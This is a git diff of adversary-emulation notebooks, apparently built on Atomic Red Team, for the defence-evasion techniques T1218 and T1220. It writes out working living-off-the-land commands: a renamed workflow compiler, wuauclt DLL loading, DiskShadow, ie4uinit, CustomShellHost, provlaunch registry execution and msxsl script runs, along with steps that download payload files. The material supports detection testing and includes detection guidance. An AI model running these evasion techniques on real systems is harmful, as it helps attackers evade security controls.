Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: .Net must be installed for this test to work correctly.\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\microsoft.workflow.compiler.exe ) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nwrite-host \".Net must be installed for this test to work correctly.\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "058e7d5f", + "id": "ab842356", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "09241c47", + "id": "7953b900", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -162,59 +162,59 @@ { "cell_type": "code", "execution_count": null, - "id": "3ce0251a", + "id": "0df62b64", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "3bca5abd", + "id": "822e4181", "metadata": {}, - "source": "### Atomic Test #6 - Renamed Microsoft.Workflow.Compiler.exe Payload Executions\nEmulates attack with a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: .Net must be installed for this test to work correctly.\n\n##### Check Prereq Commands:\n```powershell\nCopy-Item C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\microsoft.workflow.compiler.exe \"PathToAtomicsFolder\\T1218\\src\\svchost.exe\" -Force\nif (Test-Path \"PathToAtomicsFolder\\T1218\\src\\svchost.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nwrite-host \"you need to rename workflow complier before you run this test\"\n\n```" + "source": "### Atomic Test #6 - Renamed Microsoft.Workflow.Compiler.exe Payload Executions\nEmulates attack with a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: .Net must be installed for this test to work correctly.\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\svchost.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nCopy-Item C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\microsoft.workflow.compiler.exe \"PathToAtomicsFolder\\..\\ExternalPayloads\\svchost.exe\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b122c1ee", + "id": "91a3d0df", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "484a630d", + "id": "2e08706d", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nPathToAtomicsFolder\\T1218\\src\\svchost.exe PathToAtomicsFolder\\T1218\\src\\T1218.xml output.txt\n```" + "```powershell\n&\"PathToAtomicsFolder\\..\\ExternalPayloads\\svchost.exe\" \"PathToAtomicsFolder\\T1218\\src\\T1218.xml\" output.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1e4cb653", + "id": "4bfba318", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "1c066b42", + "id": "3d90e7f3", "metadata": {}, "source": "### Atomic Test #7 - Invoke-ATHRemoteFXvGPUDisablementCommand base test\nRemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).\n\nOne of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. This atomic test influences RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as \"PowerShell module load-order hijacking\" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable or within a user-specified module directory outside of %PSModulePath%. Upon execution the temporary module is deleted.\n\nInvoke-ATHRemoteFXvGPUDisablementCommand is used in this test to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the \"Disable\" argument to RemoteFXvGPUDisablement.exe.\n\nThe Invoke-ATHRemoteFXvGPUDisablementCommand function outputs all relevant execution-related artifacts.\n\nReference: https://github.com/redcanaryco/AtomicTestHarnesses/blob/master/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHRemoteFXvGPUDisablementCommand must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHRemoteFXvGPUDisablementCommand']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3962beac", + "id": "e7fc5650", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "faf9e4a0", + "id": "d4ed4f11", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -224,28 +224,28 @@ { "cell_type": "code", "execution_count": null, - "id": "9dc14c2b", + "id": "c18bdc77", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "226cfb26", + "id": "e2316e6b", "metadata": {}, - "source": "### Atomic Test #8 - DiskShadow Command Execution\nEmulates attack with a DiskShadow.exe (LOLBIN installed by default on Windows) being used to execute arbitrary commands Reference: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: txt file must exist on disk at specified location (#{txt_payload})\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1218\\src\\T1218.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218\\src\\T1218.txt) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/T1218.txt\" -OutFile \"PathToAtomicsFolder\\T1218\\src\\T1218.txt\"\n\n```\n##### Description: DiskShadow.exe must exist on disk at specified location (#{dspath})\n##### Check Prereq Commands:\n```powershell\nif (Test-Path C:\\Windows\\System32\\diskshadow.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\necho \"DiskShadow.exe not found on disk at expected location\"\n\n```" + "source": "### Atomic Test #8 - DiskShadow Command Execution\nEmulates attack with a DiskShadow.exe (LOLBIN installed by default on Windows) being used to execute arbitrary commands Reference: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: txt file must exist on disk at specified location (#{txt_payload})\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218\\src\\T1218.txt\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218\\src\\T1218.txt\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/T1218.txt\" -OutFile \"PathToAtomicsFolder\\T1218\\src\\T1218.txt\"\n\n```\n##### Description: DiskShadow.exe must exist on disk at specified location (#{dspath})\n##### Check Prereq Commands:\n```powershell\nif (Test-Path C:\\Windows\\System32\\diskshadow.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\necho \"DiskShadow.exe not found on disk at expected location\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5ffd1ed9", + "id": "d2607ba3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d074e144", + "id": "81a00633", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -255,59 +255,59 @@ { "cell_type": "code", "execution_count": null, - "id": "a8692e1c", + "id": "4de56e2e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "199acfc9", + "id": "dea87fd7", "metadata": {}, - "source": "### Atomic Test #9 - Load Arbitrary DLL via Wuauclt (Windows Update Client)\nThis test uses Wuauclt to load an arbitrary DLL. Upon execution with the default inputs, calculator.exe will be launched. \nSee https://dtm.uk/wuauclt/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL to load must exist on disk as specified location (#{arbitrary_dll})\n\n##### Check Prereq Commands:\n```cmd\nif (test-path \"PathToAtomicsFolder\\T1218\\bin\\calc.dll\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218\\bin\\calc.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218/bin/calc.dll?raw=true\" -OutFile \"PathToAtomicsFolder\\T1218\\bin\\calc.dll\"\n\n```" + "source": "### Atomic Test #9 - Load Arbitrary DLL via Wuauclt (Windows Update Client)\nThis test uses Wuauclt to load an arbitrary DLL. Upon execution with the default inputs, calculator.exe will be launched. \nSee https://dtm.uk/wuauclt/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL to load must exist on disk as specified location (#{arbitrary_dll})\n\n##### Check Prereq Commands:\n```cmd\nif (test-path \"PathToAtomicsFolder\\T1218\\bin\\calc.dll\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218\\bin\\calc.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218/bin/calc.dll?raw=true\" -OutFile \"PathToAtomicsFolder\\T1218\\bin\\calc.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1c6e339c", + "id": "c8bd41e9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f04aa57a", + "id": "66af1d3b", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nwuauclt.exe /UpdateDeploymentProvider PathToAtomicsFolder\\T1218\\bin\\calc.dll /RunHandlerComServer\n```" + "```command_prompt\nwuauclt.exe /UpdateDeploymentProvider \"PathToAtomicsFolder\\T1218\\bin\\calc.dll\" /RunHandlerComServer\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "758673bc", + "id": "65d8e804", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "7ba2a0a6", + "id": "fc8670cf", "metadata": {}, "source": "#### Cleanup: \n```cmd\ntaskkill /f /im calculator.exe > nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "00da5c6a", + "id": "b9aa80c2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "9ea8d990", + "id": "d4b78215", "metadata": {}, "source": [ "### Atomic Test #10 - Lolbin Gpscript logon option", @@ -320,14 +320,14 @@ { "cell_type": "code", "execution_count": null, - "id": "790dd279", + "id": "78bd3b19", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "8c19e785", + "id": "0ff13604", "metadata": {}, "source": [ "### Atomic Test #11 - Lolbin Gpscript startup option", @@ -340,54 +340,120 @@ { "cell_type": "code", "execution_count": null, - "id": "4552515e", + "id": "5341a2e4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "133e7db1", + "id": "94896246", + "metadata": {}, + "source": "### Atomic Test #12 - Lolbas ie4uinit.exe use as proxy\nExecutes commands from a specially prepared ie4uinit.inf file.\nPoc from : https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/\nReference: https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: ieuinit.inf must exist on disk at specified location (#{Path_inf})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218\\src\\ieuinit.inf\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218\\src\\ieuinit.inf\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/ieuinit.inf\" -OutFile \"PathToAtomicsFolder\\T1218\\src\\ieuinit.inf\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "363c9c9a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1218 -TestNumbers 12 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "9681a74c", "metadata": {}, "source": [ - "### Atomic Test #12 - Lolbas ie4uinit.exe use as proxy", - "Executes commands from a specially prepared ie4uinit.inf file.\nPoc from : https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/\nReference: https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/\n", - "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncopy c:\\windows\\system32\\ie4uinit.exe %TEMP%\\ie4uinit.exe\ncopy PathToAtomicsFolder\\T1218\\src\\ieuinit.inf %TEMP%\\ieuinit.inf\n%TEMP%\\ie4uinit.exe -BaseSettings\n```" + "```command_prompt\ncopy c:\\windows\\system32\\ie4uinit.exe %TEMP%\\ie4uinit.exe\ncopy \"PathToAtomicsFolder\\T1218\\src\\ieuinit.inf\" %TEMP%\\ieuinit.inf\n%TEMP%\\ie4uinit.exe -BaseSettings\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "48262cdd", + "id": "5aeb67b3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "54f46611", + "id": "188f3099", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %TEMP%\\ie4uinit.exe >nul 2>&1\ndel %TEMP%\\ieuinit.inf >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "51415075", + "id": "2e5a6c31", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "1917d17c", + "id": "fb883f36", + "metadata": {}, + "source": [ + "### Atomic Test #13 - LOLBAS CustomShellHost to Spawn Process", + "This test simulates an adversary copying `customshellhost.exe` and `calc.exe` from `C:\\windows\\system32\\` to `C:\\temp\\`, renaming `calc.exe` to `explorer.exe`.\nUpon execution, customshellhost.exe will spawn calc.exe.\nNote this will only work on Windows 10 or 11.\n[LOLBAS](https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/)\n[BishopFox](https://bishopfox.com/blog/edr-bypass-with-lolbins)\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nif (-not (Test-Path C:\\test)) {\nNew-Item -Path C:\\test -ItemType Directory\n} else {\nWrite-Host \"Directory C:\\test already exists.\" }\nCopy-Item -Path \"C:\\windows\\system32\\customshellhost.exe\" -Destination \"C:\\test\\customshellhost.exe\" -Force\nCopy-Item -Path \"C:\\windows\\system32\\calc.exe\" -Destination \"C:\\test\\explorer.exe\" -Force\nC:\\test\\customshellhost.exe\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ea0df0d9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1218 -TestNumbers 13" + }, + { + "cell_type": "markdown", + "id": "82c1cbce", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-Item -Path C:\\test -Recurse -Force\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "091b7f34", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1218 -TestNumbers 13 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "dfbdb78b", + "metadata": {}, + "source": [ + "### Atomic Test #14 - Provlaunch.exe Executes Arbitrary Command via Registry Key", + "Provlaunch.exe executes a command defined in the Registry. This test will create the necessary registry keys and values, then run provlaunch.exe to execute an arbitrary command.\n- https://twitter.com/0gtweet/status/1674399582162153472\n- https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/\nRegistry keys are deleted after successful execution.\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg.exe add HKLM\\SOFTWARE\\Microsoft\\Provisioning\\Commands\\LOLBin\\dummy1 /v altitude /t REG_DWORD /d 0\nreg add HKLM\\SOFTWARE\\Microsoft\\Provisioning\\Commands\\LOLBin\\dummy1\\dummy2 /v Commandline /d calc.exe\nc:\\windows\\system32\\provlaunch.exe LOLBin\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b848ddd0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1218 -TestNumbers 14" + }, + { + "cell_type": "markdown", + "id": "2fb0b87a", "metadata": {}, "source": "## Detection\nMonitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nMonitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity." }, { "cell_type": "markdown", - "id": "82f4c290", + "id": "2374f027", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity to block an adversary's intended action and force them to reveal additional TTPs.\n#### Use Case\nA defender can monitor operating system functions calls to look for adversary use and/or abuse.\n\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -395,13 +461,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1220.ipynb b/playbook/tactics/defense-evasion/T1220.ipynb index 83112898..3853c15a 100644 --- a/playbook/tactics/defense-evasion/T1220.ipynb +++ b/playbook/tactics/defense-evasion/T1220.ipynb @@ -2,123 +2,123 @@ "cells": [ { "cell_type": "markdown", - "id": "13ffc6f5", + "id": "9af1cc6b", "metadata": {}, "source": "# T1220 - XSL Script Processing\nAdversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d" }, { "cell_type": "markdown", - "id": "262e0729", + "id": "97ffd638", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "fd72e026", + "id": "9ec62ec0", "metadata": {}, - "source": "### Atomic Test #1 - MSXSL Bypass using local files\nExecutes the code specified within a XSL script tag during XSL transformation using a local payload. \nRequires download of MSXSL. No longer available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) \nOpen Calculator.exe when test successfully executed, while AV turned off.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: XML file must exist on disk at specified location (#{xmlfile})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1220\\src\\msxslxmlfile.xml) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1220\\src\\msxslxmlfile.xml) -ErrorAction Ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslxmlfile.xml\" -OutFile \"PathToAtomicsFolder\\T1220\\src\\msxslxmlfile.xml\"\n\n```\n##### Description: XSL file must exist on disk at specified location (#{xslfile})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1220\\src\\msxslscript.xsl) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1220\\src\\msxslscript.xsl) -ErrorAction Ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslscript.xsl\" -OutFile \"PathToAtomicsFolder\\T1220\\src\\msxslscript.xsl\"\n\n```\n##### Description: msxsl.exe must exist on disk at specified location (#{msxsl_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1220\\bin\\msxsl.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe\" -OutFile \"PathToAtomicsFolder\\T1220\\bin\\msxsl.exe\"\n\n```" + "source": "### Atomic Test #1 - MSXSL Bypass using local files\nExecutes the code specified within a XSL script tag during XSL transformation using a local payload. \nRequires download of MSXSL. No longer available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) \nOpen Calculator.exe when test successfully executed, while AV turned off.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: XML file must exist on disk at specified location (#{xmlfile})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1220\\src\\msxslxmlfile.xml\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1220\\src\\msxslxmlfile.xml\") -ErrorAction Ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslxmlfile.xml\" -OutFile \"PathToAtomicsFolder\\T1220\\src\\msxslxmlfile.xml\"\n\n```\n##### Description: XSL file must exist on disk at specified location (#{xslfile})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1220\\src\\msxslscript.xsl\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1220\\src\\msxslscript.xsl\") -ErrorAction Ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslscript.xsl\" -OutFile \"PathToAtomicsFolder\\T1220\\src\\msxslscript.xsl\"\n\n```\n##### Description: msxsl.exe must exist on disk at specified location (#{msxsl_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\msxsl.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\msxsl.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "65238a17", + "id": "343d3d7f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1220 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ec730a53", + "id": "d7bff450", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1220\\bin\\msxsl.exe PathToAtomicsFolder\\T1220\\src\\msxslxmlfile.xml PathToAtomicsFolder\\T1220\\src\\msxslscript.xsl\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\msxsl.exe\" \"PathToAtomicsFolder\\T1220\\src\\msxslxmlfile.xml\" \"PathToAtomicsFolder\\T1220\\src\\msxslscript.xsl\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a26268bf", + "id": "f7782ca6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1220 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "659334fa", + "id": "ca92101a", "metadata": {}, - "source": "#### Cleanup: \n```cmd\ndel PathToAtomicsFolder\\T1220\\bin\\msxsl.exe >nul 2>&1\n```" + "source": "#### Cleanup: \n```cmd\ndel \"PathToAtomicsFolder\\..\\ExternalPayloads\\msxsl.exe\" >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "72a550da", + "id": "c2b552b4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1220 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "416acb61", + "id": "0d1a6b67", "metadata": {}, - "source": "### Atomic Test #2 - MSXSL Bypass using remote files\nExecutes the code specified within a XSL script tag during XSL transformation using a remote payload.\nRequires download of MSXSL.exe. No longer available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 )\nOpen Calculator.exe when test successfully executed, while AV turned off.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: msxsl.exe must exist on disk at specified location (#{msxsl_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1220\\bin\\msxsl.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe\" -OutFile 